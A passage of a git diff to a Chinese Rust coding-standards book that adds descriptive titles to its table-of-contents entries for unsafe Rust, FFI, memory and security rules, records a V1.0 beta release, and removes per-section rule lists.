异步编程并不适合所有场景,计算密集型场景应该考虑同步编程](./safe-guides/coding_practice/async-await/P.ASY.01.md) + - [G.ASY.01 在 `async` 块或函数中调用 `async` 函数或闭包请不要忘记添加`.await`](./safe-guides/coding_practice/async-await/G.ASY.01.md) + - [G.ASY.02 在跨 await 调用中,需要对其持有的同步互斥锁进行处理](./safe-guides/coding_practice/async-await/G.ASY.02.md) + - [G.ASY.03 在跨 await 调用中,需要对其持有 RefCell 的引用进行处理](./safe-guides/coding_practice/async-await/G.ASY.03.md) + - [G.ASY.04 避免定义不必要的异步函数](./safe-guides/coding_practice/async-await/G.ASY.04.md) + - [G.ASY.05 避免在异步处理过程中包含阻塞操作](./safe-guides/coding_practice/async-await/G.ASY.05.md) - [Unsafe Rust](./safe-guides/coding_practice/unsafe_rust.md) - - [P.UNS.01](./safe-guides/coding_practice/unsafe_rust/P.UNS.01.md) - - [P.UNS.02](./safe-guides/coding_practice/unsafe_rust/P.UNS.02.md) - - [G.UNS.01](./safe-guides/coding_practice/unsafe_rust/G.UNS.01.md) + - [P.UNS.01 不要为了逃避编译器安全检查而滥用 Unsafe Rust](./safe-guides/coding_practice/unsafe_rust/P.UNS.01.md) + - [P.UNS.02 不要为了提升性能而盲目使用 Unsafe Rust](./safe-guides/coding_practice/unsafe_rust/P.UNS.02.md) + - [G.UNS.01 不宜为带有 unsafe 命名的类型或方法创建别名](./safe-guides/coding_practice/unsafe_rust/G.UNS.01.md) - [安全抽象](./safe-guides/coding_practice/unsafe_rust/safe_abstract.md) - - [P.UNS.SAS.01](./safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.01.md) - - [P.UNS.SAS.02](./safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.02.md) - - [P.UNS.SAS.03](./safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.03.md) - - [P.UNS.SAS.04](./safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.04.md) - - [P.UNS.SAS.05](./safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.05.md) - - [P.UNS.SAS.06](./safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.06.md) - - [P.UNS.SAS.07](./safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.07.md) - - [P.UNS.SAS.08](./safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.08.md) - - [P.UNS.SAS.09](./safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.09.md) - - [G.UNS.SAS.01](./safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.01.md) - - [G.UNS.SAS.02](./safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.02.md) + - [P.UNS.SAS.01 代码中要注意是否会因为 Panic 发生而导致内存安全问题](./safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.01.md) + - [P.UNS.SAS.02 Unsafe 代码编写者有义务检查代码是否满足安全不变式](./safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.02.md) + - [P.UNS.SAS.03 不要随便在公开的 API 中暴露未初始化内存](./safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.03.md) + - [P.UNS.SAS.04 避免因为 Panic Safety 而导致双重释放](./safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.04.md) + - [P.UNS.SAS.05 手动实现 auto trait 时要充分考虑其安全性](./safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.05.md) + - [P.UNS.SAS.06 不要随便在公开的 API 中暴露裸指针](./safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.06.md) + - [P.UNS.SAS.07 在抽象安全方法的同时,也建议为性能考虑而增加相应的 Unsafe 方法](./safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.07.md) + - [P.UNS.SAS.08 函数参数是不可变借用的时候,返回值不应该是可变借用](./safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.08.md) + - [P.UNS.SAS.09 在任何 Unsafe 块之前都应该加 SAFETY 注释](./safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.09.md) + - [G.UNS.SAS.01 在公开的 unsafe 函数的文档中必须增加 Safety 注释](./safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.01.md) + - [G.UNS.SAS.02 在 Unafe 函数中应使用 `assert!` 而非 `debug_assert!` 去校验边界条件](./safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.02.md) - [裸指针操作](./safe-guides/coding_practice/unsafe_rust/raw_ptr.md) - - [P.UNS.PTR.01](./safe-guides/coding_practice/unsafe_rust/raw_ptr/P.UNS.PTR.01.md) - - [P.UNS.PTR.02](./safe-guides/coding_practice/unsafe_rust/raw_ptr/P.UNS.PTR.02.md) - - [P.UNS.PTR.03](./safe-guides/coding_practice/unsafe_rust/raw_ptr/P.UNS.PTR.03.md) - - [G.UNS.PTR.01](./safe-guides/coding_practice/unsafe_rust/raw_ptr/G.UNS.PTR.01.md) - - [G.UNS.PTR.02](./safe-guides/coding_practice/unsafe_rust/raw_ptr/G.UNS.PTR.02.md) - - [G.UNS.PTR.03](./safe-guides/coding_practice/unsafe_rust/raw_ptr/G.UNS.PTR.03.md) + - [P.UNS.PTR.01 不要将裸指针在多线程间共享](./safe-guides/coding_practice/unsafe_rust/raw_ptr/P.UNS.PTR.01.md) + - [P.UNS.PTR.02 建议使用 `NonNull` 来替代 `*mut T`](./safe-guides/coding_practice/unsafe_rust/raw_ptr/P.UNS.PTR.02.md) + - [P.UNS.PTR.03 使用指针类型构造泛型结构体时,需要使用 `PhantomData` 来指定 `T`上的协变和所有权](./safe-guides/coding_practice/unsafe_rust/raw_ptr/P.UNS.PTR.03.md) + - [G.UNS.PTR.01 当指针类型被强转为和当前内存对齐不一致的指针类型时,禁止对其解引用](./safe-guides/coding_practice/unsafe_rust/raw_ptr/G.UNS.PTR.01.md) + - [G.UNS.PTR.02 禁止将不可变指针手工转换为可变指针](./safe-guides/coding_practice/unsafe_rust/raw_ptr/G.UNS.PTR.02.md) + - [G.UNS.PTR.03 尽量使用 `pointer::cast` 来代替 使用 `as` 强转指针](./safe-guides/coding_practice/unsafe_rust/raw_ptr/G.UNS.PTR.03.md) - [联合体](./safe-guides/coding_practice/unsafe_rust/union.md) - - [P.UNS.UNI.01](./safe-guides/coding_practice/unsafe_rust/union/P.UNS.UNI.01.md) - - [P.UNS.UNI.02](./safe-guides/coding_practice/unsafe_rust/union/P.UNS.UNI.02.md) + - [P.UNS.UNI.01 除了与 C 交互,尽量不要使用 Union](./safe-guides/coding_practice/unsafe_rust/union/P.UNS.UNI.01.md) + - [P.UNS.UNI.02 不要把联合体的不同变体用在不同生命周期内](./safe-guides/coding_practice/unsafe_rust/union/P.UNS.UNI.02.md) - [内存](./safe-guides/coding_practice/unsafe_rust/mem.md) - - [P.UNS.MEM.01](./safe-guides/coding_practice/unsafe_rust/mem/P.UNS.MEM.01.md) - - [P.UNS.MEM.02](./safe-guides/coding_practice/unsafe_rust/mem/P.UNS.MEM.02.md) - - [P.UNS.MEM.03](./safe-guides/coding_practice/unsafe_rust/mem/P.UNS.MEM.03.md) - - [P.UNS.MEM.04](./safe-guides/coding_practice/unsafe_rust/mem/P.UNS.MEM.04.md) - - [P.UNS.MEM.05](./safe-guides/coding_practice/unsafe_rust/mem/P.UNS.MEM.05.md) - - [G.UNS.MEM.01](./safe-guides/coding_practice/unsafe_rust/mem/G.UNS.MEM.01.md) + - [P.UNS.MEM.01 要注意选择合适的结构体、元组、枚举的数据布局](./safe-guides/coding_practice/unsafe_rust/mem/P.UNS.MEM.01.md) + - [P.UNS.MEM.02 不能修改其它进程或动态库的内存变量](./safe-guides/coding_practice/unsafe_rust/mem/P.UNS.MEM.02.md) + - [P.UNS.MEM.03 不能让 `String/Vec` 自动 Drop 其它进程或动态库的内存数据](./safe-guides/coding_practice/unsafe_rust/mem/P.UNS.MEM.03.md) + - [P.UNS.MEM.04 尽量用可重入(reentrant)版本的 C-API 或系统调用](./safe-guides/coding_practice/unsafe_rust/mem/P.UNS.MEM.04.md) + - [P.UNS.MEM.05 如果需要使用位域,推荐使用第三方库](./safe-guides/coding_practice/unsafe_rust/mem/P.UNS.MEM.05.md) + - [G.UNS.MEM.01 使用 `MaybeUninit` 来处理未初始化的内存](./safe-guides/coding_practice/unsafe_rust/mem/G.UNS.MEM.01.md) - [FFi](./safe-guides/coding_practice/unsafe_rust/ffi.md) - - [P.UNS.FFI.01](./safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.01.md) - - [P.UNS.FFI.02](./safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.02.md) - - [P.UNS.FFI.03](./safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.03.md) - - [P.UNS.FFI.04](./safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.04.md) - - [P.UNS.FFI.05](./safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.05.md) - - [P.UNS.FFI.06](./safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.06.md) - - [P.UNS.FFI.07](./safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.07.md) - - [P.UNS.FFI.08](./safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.08.md) - - [P.UNS.FFI.09](./safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.09.md) - - [P.UNS.FFI.10](./safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.10.md) - - [P.UNS.FFI.11](./safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.11.md) - - [P.UNS.FFI.12](./safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.12.md) - - [P.UNS.FFI.13](./safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.13.md) - - [P.UNS.FFI.14](./safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.14.md) - - [P.UNS.FFI.15](./safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.15.md) + - [P.UNS.FFI.01 避免从公开的 Rust API 直接传字符串到 C 中](./safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.01.md) + - [P.UNS.FFI.02 在使用标准库 `std::ffi` 模块提供的类型时需要仔细查看其文档](./safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.02.md) + - [P.UNS.FFI.03 当使用来自 C 的指针时,如果该指针需要管理内存,则需要为包装该指针的 Rust 类型实现 Drop 特质](./safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.03.md) + - [P.UNS.FFI.04 如果一个函数正在跨越 FFi 边界,那么需要处理 Panic](./safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.04.md) + - [P.UNS.FFI.05 建议使用诸如标准库或 `libc` crate 所提供的可移植类型别名,而不是特定平台的类型](./safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.05.md) + - [P.UNS.FFI.06 Rust 和 C 之间传递字符或字符串时需要注意字符串要符合 C-ABI 以及 字符串的编码](./safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.06.md) + - [P.UNS.FFI.07 不要为任何传出外部的类型实现 Drop](./safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.07.md) + - [P.UNS.FFI.08 FFi 中要进行合理的错误处理](./safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.08.md) + - [P.UNS.FFI.09 当 Rust 调用外部 C 函数时,如果可以确认安全,可以通过引用来代替裸指针](./safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.09.md) + - [P.UNS.FFI.10 当 Rust 函数导出外部函数时,必须从设计上保证被跨线程调用的安全性](./safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.10.md) + - [P.UNS.FFI.11 如需引用指定为 `#[repr(packed)]` 内存布局的结构体成员字段要注意合理规避未定义行为](./safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.11.md) + - [P.UNS.FFI.12 当依赖 C 端传入参数时,需要在文档注释中不变性声明,根据不同的调用场景选择合适的安全抽象方式](./safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.12.md) + - [P.UNS.FFI.13 自定义数据类型要保证一致的数据布局](./safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.13.md) + - [P.UNS.FFI.14 在 FFi 中使用的类型应该拥有稳定布局](./safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.14.md) + - [P.UNS.FFI.15 从外部传入的不健壮类型的外部值要进行检查](./safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.15.md) - [I/O](./safe-guides/coding_practice/unsafe_rust/io.md) - - [P.UNS.FIO.01](./safe-guides/coding_practice/unsafe_rust/io/P.UNS.FIO.01.md) + - [P.UNS.FIO.01 在使用原始句柄的时候,要注意 `I/O` 安全性](./safe-guides/coding_practice/unsafe_rust/io/P.UNS.FIO.01.md) - [Unsafe 代码术语指南](./safe-guides/coding_practice/unsafe_rust/glossary.md) - [no-std](./safe-guides/coding_practice/no-std.md) - - [P.EMB.01](./safe-guides/coding_practice/no-std/P.EMB.01.md) - - [P.EMB.02](./safe-guides/coding_practice/no-std/P.EMB.02.md) + - [P.EMB.01 no-std 下必须定义一个Panic行为以确保安全](./safe-guides/coding_practice/no-std/P.EMB.01.md) + - [P.EMB.02 no-std 下要确保程序中的类型有正确的内存布局](./safe-guides/coding_practice/no-std/P.EMB.02.md) - [I/O](./safe-guides/coding_practice/io.md) - - [P.FIO.01](./safe-guides/coding_practice/io/P.FIO.01.md) - - [G.FIO.01](./safe-guides/coding_practice/io/G.FIO.01.md) + - [P.FIO.01 使用 `read_to_end`/`read_to_string`方法时注意文件的大小能否一次性读入内存中](./safe-guides/coding_practice/io/P.FIO.01.md) + - [G.FIO.01 文件读取建议使用 `BufReader`/`BufWriter` 来代替 `Reader`/`Write`](./safe-guides/coding_practice/io/G.FIO.01.md) - [信息安全](./safe-guides/coding_practice/security.md) - - [P.SEC.01](./safe-guides/coding_practice/security/P.SEC.01.md) - - [G.SEC.01](./safe-guides/coding_practice/security/G.SEC.01.md) + - [P.SEC.01 使用第三方库的时候要确保可信的依赖,小心供应链攻击](./safe-guides/coding_practice/security/P.SEC.01.md) + - [G.SEC.01 代码中不要出现非法 Unicode 字符,也要防范非法 Unicode 字符](./safe-guides/coding_practice/security/G.SEC.01.md) - [其他](./safe-guides/coding_practice/others.md) - - [G.OTH.01](./safe-guides/coding_practice/others/G.OTH.01.md) - - [G.OTH.01](./safe-guides/coding_practice/others/G.OTH.02.md) + - [G.OTH.01 对于某些场景下不建议使用的方法可以通过配置 clippy.toml 来拒绝](./safe-guides/coding_practice/others/G.OTH.01.md) + - [G.OTH.01 使用标准库中对应的方法计算秒级、毫秒级、微秒级的时间](./safe-guides/coding_practice/others/G.OTH.02.md) - [附录](./safe-guides/Appendix/toc.md) - [A.开发环境](./safe-guides/Appendix/dev_env.md) - [B.测试](./safe-guides/Appendix/test.md) diff --git a/src/overview.md b/src/overview.md index 83331c38..c37b7076 100644 --- a/src/overview.md +++ b/src/overview.md @@ -5,6 +5,7 @@ - 《Rust 编码规范》初稿发布 2021-10-31 (V 0.1) - 《Rust 编码规范》经社区和公司内第一次评审版本发布 2022-02 (V 0.2) - 《Rust 编码规范》经社区和公司内第二次评审版本发布 2022-03 (V 0.3) +- 《Rust 编码规范》经社区和公司内第二次评审版本发布 2022-04 (V 1.0 beta) ## 详细 diff --git a/src/safe-guides/code_style/comments.md b/src/safe-guides/code_style/comments.md index 51921a69..06301c56 100644 --- a/src/safe-guides/code_style/comments.md +++ b/src/safe-guides/code_style/comments.md @@ -5,18 +5,6 @@ 在原则和规则中提到「注释」时,包括普通注释和文档注释。当提到「文档」时,特指文档注释。 -## 列表 - -- [P.CMT.01 代码能做到自注释,文档要干练简洁](./comments/P.CMT.01.md) -- [P.CMT.02 注释应该有宽度限制](./comments/P.CMT.02.md) -- [P.CMT.03 使用行注释而避免使用块注释](./comments/P.CMT.03.md) -- [P.CMT.04 文件头注释包含版权说明](./comments/P.CMT.04.md) -- [P.CMT.05 在注释中使用 FIXME 和 TODO 来帮助任务协作](./comments/P.CMT.05.md) -- [G.CMT.01 在公开的返回Result类型返回的函数文档中增加 Error 注释](./comments/G.CMT.01.md) -- [G.CMT.02 如果公开的API在某些情况下会发生Panic,则相应文档中需增加 Panic 注释](./comments/G.CMT.02.md) -- [G.CMT.03 在文档注释中要使用空格代替 tab](./comments/G.CMT.03.md) - - ## 参考 1. [RFC 505: API 注释约定](https://github.com/rust-lang/rfcs/blob/master/text/0505-api-comment-conventions.md) diff --git a/src/safe-guides/code_style/fmt.md b/src/safe-guides/code_style/fmt.md index 8e71a063..741c9a92 100644 --- a/src/safe-guides/code_style/fmt.md +++ b/src/safe-guides/code_style/fmt.md @@ -16,22 +16,3 @@ Rust 有自动化格式化工具 rustfmt ,可以帮助开发者摆脱手工调 1. 务必保证在全部把代码修改完毕且编译通过之后再执行 rustfmt 命令。 因为 rustfmt 执行过程中不会对代码进行编译,所以就不会有静态检查保护。 2. 如果是使用 IDE 或 编辑器的时候开启了自动保护功能,就不要开启自动执行 rustfmt 功能。 - -## 列表 - -- [P.FMT.01 使用 rustfmt 进行自动格式化代码](./fmt/P.FMT.01.md) -- [P.FMT.02 缩进使用空格(space)而非制表符(tab)](./fmt/P.FMT.02.md) -- [P.FMT.03 行间距最大宽度空一行](./fmt/P.FMT.03.md) -- [P.FMT.04 语言项(Item) 定义时左花括号(brace)位置应该与语言项保持同一行](./fmt/P.FMT.04.md) -- [P.FMT.05 存在多个标识符时应该保持块状(Block)缩进](./fmt/P.FMT.05.md) -- [P.FMT.06 当有多行表达式操作时,操作符应该置于行首](./fmt/P.FMT.06.md) -- [P.FMT.07 枚举变体和结构体字段都应左对齐](./fmt/P.FMT.07.md) -- [P.FMT.08 函数参数超过五个或导入模块个数超过四个需换行](./fmt/P.FMT.08.md) -- [P.FMT.09 不同的场景,使用不同的空格风格](./fmt/P.FMT.09.md) -- [P.FMT.10 `match` 分支应该具有良好的可读性](./fmt/P.FMT.10.md) -- [P.FMT.11 导入模块分组应该具有良好的可读性](./fmt/P.FMT.11.md) -- [P.FMT.12 声明宏分支应该具有良好的可读性](./fmt/P.FMT.12.md) -- [P.FMT.13 具名结构体字段初始化时不要省略字段名](./fmt/P.FMT.13.md) -- [P.FMT.14 extern 外部函数需要显式指定 C-ABI](./fmt/P.FMT.14.md) -- [P.FMT.15 解构元组的时候允许使用`..`来指代剩余元素](./fmt/P.FMT.15.md) -- [P.FMT.16 不要将派生宏中多个不相关的特质合并为同一行](./fmt/P.FMT.16.md) diff --git a/src/safe-guides/code_style/fmt/P.FMT.02.md b/src/safe-guides/code_style/fmt/P.FMT.02.md index 6e7e9357..cb92dae3 100644 --- a/src/safe-guides/code_style/fmt/P.FMT.02.md +++ b/src/safe-guides/code_style/fmt/P.FMT.02.md @@ -1,4 +1,4 @@ -## P.FMT.02 缩进使用空格(space)而非制表符(tab) +## P.FMT.02 缩进使用空格而非制表符 **【描述】** diff --git a/src/safe-guides/code_style/naming.md b/src/safe-guides/code_style/naming.md index 179797de..ebe9bfab 100644 --- a/src/safe-guides/code_style/naming.md +++ b/src/safe-guides/code_style/naming.md @@ -1,18 +1,3 @@ # 2.1 命名 好的命名风格能让我们快速地了解某个名字代表的含义(类型、变量、函数、常量、宏等),甚至能凸显其在整个代码上下文中的语义。命名管理对提升代码的可读性和维护性相当重要。 - -## 列表 - -- [P.NAM.01 类型名称应该使用统一的词序](./naming/P.NAM.01.md) -- [P.NAM.02 为 cargo feature 命名时不应含有无意义的占位词](./naming/P.NAM.02.md) -- [P.NAM.03 标识符命名应该符合阅读习惯](./naming/P.NAM.03.md) -- [P.NAM.04 作用域越大命名越精确,反之应简短](./naming/P.NAM.04.md) -- [P.NAM.05 用于访问或获取数据的 `getter` 类方法通常不要使用 `get_` 等前缀](./naming/P.NAM.05.md) -- [P.NAM.06 遵循 `iter/ iter_mut/ into_iter` 规范来生成迭代器](./naming/P.NAM.06.md) -- [P.NAM.07 避免使用语言内置保留字、关键字、内置类型和trait等特殊名称](./naming/P.NAM.07.md) -- [P.NAM.08 避免在变量的命名中添加类型标识](./naming/P.NAM.08.md) -- [P.NAM.09 定义全局静态变量时需加前缀`G_`以便和常量有所区分](./naming/P.NAM.09.md) -- [G.NAM.01 使用统一的命名风格](./naming/G.NAM.01.md) -- [G.NAM.02 类型转换函数命名需要遵循所有权语义](./naming/G.NAM.02.md) - diff --git a/src/safe-guides/coding_practice/async-await.md b/src/safe-guides/coding_practice/async-await.md index db97c2cd..4537d81e 100644 --- a/src/safe-guides/coding_practice/async-await.md +++ b/src/safe-guides/coding_practice/async-await.md @@ -3,13 +3,4 @@ `async / await` 是 Rust 语言用于编写像同步代码一样的异步函数的内置工具。`async` 将一个代码块转化为一个实现了名为 `Future` 的特质 (trait) 的状态机。虽然在同步方法中调用阻塞函数会阻塞整个线程,但阻塞的 `Future` 将让出线程控制权,允许其他 `Future` 运行。 -Rust 异步编程需要依赖于异步运行时,生产环境中比较推荐的开源异步运行时是 [Tokio](https://github.com/tokio-rs/tokio)。 - -## 列表 - -- [P.ASY.01 异步编程并不适合所有场景,计算密集型场景应该考虑同步编程](./async-await/P.ASY.01.md) -- [G.ASY.01 在 async 块/函数中调用 async 函数/闭包请不要忘记添加.await](./async-await/G.ASY.01.md) -- [G.ASY.02 在跨 await 调用中,需要对其持有的同步互斥锁进行处理](./async-await/G.ASY.02.md) -- [G.ASY.03 在跨 await 调用中,需要对其持有 RefCell 的引用进行处理](./async-await/G.ASY.03.md) -- [G.ASY.04 避免定义不必要的异步函数](./async-await/G.ASY.04.md) -- [G.ASY.05 避免在异步处理过程中包含阻塞操作](./async-await/G.ASY.05.md) \ No newline at end of file +Rust 异步编程需要依赖于异步运行时,生产环境中比较推荐的开源异步运行时是 [Tokio](https://github.com/tokio-rs/tokio)。 \ No newline at end of file diff --git a/src/safe-guides/coding_practice/async-await/G.ASY.01.md b/src/safe-guides/coding_practice/async-await/G.ASY.01.md index 3dba97a0..03718956 100644 --- a/src/safe-guides/coding_practice/async-await/G.ASY.01.md +++ b/src/safe-guides/coding_practice/async-await/G.ASY.01.md @@ -1,4 +1,4 @@ -## G.ASY.01 在 `async` 块/函数中调用 `async` 函数/闭包请不要忘记添加`.await` +## G.ASY.01 在 `async` 块或函数中调用 `async` 函数或闭包请不要忘记添加`.await` **【级别】** 建议 diff --git a/src/safe-guides/coding_practice/cargo.md b/src/safe-guides/coding_practice/cargo.md index d42d4118..9d438436 100644 --- a/src/safe-guides/coding_practice/cargo.md +++ b/src/safe-guides/coding_practice/cargo.md @@ -1,14 +1,3 @@ # 3.15 包管理 -Cargo 不仅仅是包管理,它还是一个 Workflow 工具。这一节包含 Cargo 和 Crate 相关内容。 - -## 列表 - -- [P.CAR.01 应该尽量把项目划分为合理的 crate 组合](./cargo/P.CAR.01.md) -- [P.CAR.02 不要滥用 Features](./cargo/P.CAR.02.md) -- [P.CAR.03 使用 `cargo features` 来代替 `--cfg` 条件编译参数](./cargo/P.CAR.03.md) -- [P.CAR.04 如果可能的话,使用 `cfg!` 来代替 `#[cfg]`](./cargo/P.CAR.04.md) -- [G.CAR.01 当项目是可执行程序而非库时,建议使用 `src/main.rs` 和 `src/lib.rs` 模式](./cargo/G.CAR.01.md) -- [G.CAR.02 Crate 的 `Cargo.toml` 中应该包含必要的元信息](./cargo/G.CAR.02.md) -- [G.CAR.03 Feature 命名应该避免否定式或多余的前后缀](./cargo/G.CAR.03.md) -- [G.CAR.04 `Cargo.toml` 中依赖包版本不应使用通配符](./cargo/G.CAR.04.md) \ No newline at end of file +Cargo 不仅仅是包管理,它还是一个 Workflow 工具。这一节包含 Cargo 和 Crate 相关内容。 \ No newline at end of file diff --git a/src/safe-guides/coding_practice/collections.md b/src/safe-guides/coding_practice/collections.md index f8326311..0917ae6b 100644 --- a/src/safe-guides/coding_practice/collections.md +++ b/src/safe-guides/coding_practice/collections.md @@ -7,7 +7,3 @@ Rust 中的集合类型包括四大类: - 集合: [`HashSet`](https://doc.rust-lang.org/stable/std/collections/hash_set/struct.HashSet.html), [`BTreeSet`](https://doc.rust-lang.org/stable/std/collections/struct.BTreeSet.html) - 其他: [`BinaryHeap`](https://doc.rust-lang.org/stable/std/collections/struct.BinaryHeap.html) -## 列表 - -- [P.CLT.01 创建HashMap、VecDeque时,可以预先分配大约足够的容量来避免后续操作中产生多次分配](./collections/P.CLT.01.md) -- [G.CLT.01 非必要情况下,不要使用LinkedList,而用Vec或VecDeque代替](./collections/G.CLT.01.md) \ No newline at end of file diff --git a/src/safe-guides/coding_practice/consts.md b/src/safe-guides/coding_practice/consts.md index 687d08f3..ae15dda4 100644 --- a/src/safe-guides/coding_practice/consts.md +++ b/src/safe-guides/coding_practice/consts.md @@ -7,10 +7,3 @@ 常量命名风格指南请看 [编码风格-命名](../code_style/naming.md) -## 列表 - -- [G.CNS.01 对于科学计算中涉及浮点数近似值的常量宜使用预定义常量](./consts/G.CNS.01.md) -- [G.CNS.02 不应断言常量布尔类型](./consts/G.CNS.02.md) -- [G.CNS.03 不应将内部可变性容器声明为常量](./consts/G.CNS.03.md) -- [G.CNS.04 不应在常量定义中增加显式的 `'static` 生命周期](./consts/G.CNS.04.md) -- [G.CNS.05 对于适用 `const fn` 的函数或方法宜尽可能地使用 `const fn`](./consts/G.CNS.05.md) \ No newline at end of file diff --git a/src/safe-guides/coding_practice/control-flow.md b/src/safe-guides/coding_practice/control-flow.md index 3bc945e3..e14305fd 100644 --- a/src/safe-guides/coding_practice/control-flow.md +++ b/src/safe-guides/coding_practice/control-flow.md @@ -2,11 +2,3 @@ Rust中流程控制也是属于表达式,但在本规范中将其独立出来。 -## 列表 - -- [P.CTF.01 避免滥用迭代器](./control-flow/P.CTF.01.md) -- [P.CTF.02 优先使用模式匹配而非判断后再取值](./control-flow/P.CTF.02.md) -- [G.CTF.01 当需要通过多个if判断来比较大小来区分不同情况时,优先使用match和cmp来代替if表达式](./control-flow/G.CTF.01.md) -- [G.CTF.02 if条件表达式分支中如果包含了else if分支也应该包含else分支](./control-flow/G.CTF.02.md) -- [G.CTF.03 如果要通过 if 条件表达式来判断是否panic,请优先使用断言](./control-flow/G.CTF.03.md) -- [G.CTF.04 在Match分支的Guard语句中不要使用带有副作用的条件表达式](./control-flow/G.CTF.04.md) \ No newline at end of file diff --git a/src/safe-guides/coding_practice/data-type.md b/src/safe-guides/coding_practice/data-type.md index 23c084c7..97c9cba5 100644 --- a/src/safe-guides/coding_practice/data-type.md +++ b/src/safe-guides/coding_practice/data-type.md @@ -1,58 +1,3 @@ # 3.4 数据类型 数据类型记录 Rust 标准库提供的 原生类型,以及结构体和枚举体等编码实践。 - -## 列表 - -- [P.TYP.01 必要时,应使类型可以表达更明确的语义,而不是只是直接使用原生类型](./data-type/P.TYP.01.md) -- [G.TYP.01 类型转换尽可能使用安全的转换函数代替 `as`](./data-type/G.TYP.01.md) -- [G.TYP.02 数字字面量在使用的时候应该明确标注类型](./data-type/G.TYP.02.md) -- [G.TYP.03 不应用数字类型边界值判断能否安全转换,而应使用 `try_from` 方法](./data-type/G.TYP.03.md) -- [布尔](./safe-guides/coding_practice/data-type/bool.md) - - [G.TYP.BOL.01 不应将布尔值和布尔字面量进行比较](./data-type/bool/G.TYP.BOL.01.md) - - [G.TYP.BOL.02 如果 match 匹配表达式为布尔类型,宜使用 if 表达式来代替](./data-type/bool/G.TYP.BOL.02.md) - - [G.TYP.BOL.03 不应使用数字代替布尔值](./data-type/bool/G.TYP.BOL.03.md) - - [G.TYP.BOL.04 禁止在`if`表达式条件中使用块(block)结构](./data-type/bool/G.TYP.BOL.04.md) - - [G.TYP.BOL.05 非必要时,布尔运算应使用逻辑运算符(`&&/||`)而非位运算符(`&/|`)](./data-type/bool/G.TYP.BOL.05.md) - - [G.TYP.BOL.06 不应使用数字来代替布尔值](./data-type/bool/G.TYP.BOL.06.md) -- [字符](./data-type/char.md) - - [G.TYP.CHR.01 不应将字符字面量强制转换为 `u8`](./data-type/char/G.TYP.CHR.01.md) - - [G.TYP.CHR.02 字符串方法中如果需要单个字符的值作为参数,宜使用字符而非字符串](./data-type/char/G.TYP.CHR.02.md) - - [G.TYP.CHR.03 需要将整数转换为字符时,应使用安全转换函数,而非 transmute](./data-type/char/G.TYP.CHR.03.md) -- [整数](./data-type/int.md) - - [G.TYP.INT.01 在用整数计算的时候需要考虑整数溢出、回绕和截断的风险](./data-type/int/G.TYP.INT.01.md) - - [G.TYP.INT.02 避免在有符号整数和无符号整数之间进行强制转换](./data-type/int/G.TYP.INT.02.md) - - [G.TYP.INT.03 对负数取模计算的时候不应使用`%`](./data-type/int/G.TYP.INT.03.md) -- [浮点数](./data-type/float.md) - - [G.TYP.FLT.01 使用浮点数字面量时,避免被Rust编译器截断](./data-type/float/G.TYP.FLT.01.md) - - [G.TYP.FLT.02 从任何数字类型转换为浮点类型时注意避免损失精度](./data-type/float/G.TYP.FLT.02.md) - - [G.TYP.FLT.03 对精度高要求的场景下,不应直接使用浮点数进行运算和比较](./data-type/float/G.TYP.FLT.03.md) - - [G.TYP.FLT.04 宜使用Rust内置方法处理浮点数计算](./data-type/float/G.TYP.FLT.04.md) - - [G.TYP.FLT.05 禁止在浮点数和整数相互转换时使用 transmute](./data-type/float/G.TYP.FLT.05.md) -- [切片](./data-type/slice.md) - - [P.TYP.SLC.01 